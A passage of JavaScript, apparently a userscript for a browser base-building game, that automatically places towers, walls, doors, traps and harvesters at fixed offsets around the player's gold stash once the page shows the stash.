Auto.PlaceBuilding(stashPosition.x + -672, stashPosition.y + -48, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -528, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + -336, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + -288, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + -384, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + -432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + -480, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + -528, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + -432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 96, stashPosition.y + -432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 192, stashPosition.y + -384, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + -432, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + 192, stashPosition.y + -240, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 96, stashPosition.y + -528, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 192, stashPosition.y + -480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + -432, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + -240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + -336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + -336, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + -336, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 336, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 192, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + -624, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + -576, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + -480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + -528, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -528, stashPosition.y + -336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -576, stashPosition.y + -240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -624, stashPosition.y + -144, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -624, stashPosition.y + 144, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -576, stashPosition.y + 240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -528, stashPosition.y + 336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + 624, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + 576, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + 528, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + 480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + 432, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + 336, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + 336, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + 432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + 384, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + 480, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + 432, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 528, stashPosition.y + 144, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + 240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + 336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -456, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 456, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 456, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + -408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -24, 'Wall', 0);
}
}, 0)
}
EXTREME.BuildXBase = function() {
var waitForGoldStash = setInterval(function() {
if (document.querySelectorAll("[data-building]")[10].classList[1] == "is-disabled") {
var stash = EXTREME.GetGoldStash();
if (stash == undefined) return
var stashPosition = {
x: stash.x,
y: stash.y
}
clearInterval(waitForGoldStash)
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -456, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + -192, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + -288, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + -336, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + -240, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + -432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + -528, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + -480, 'CannonTower', 0);
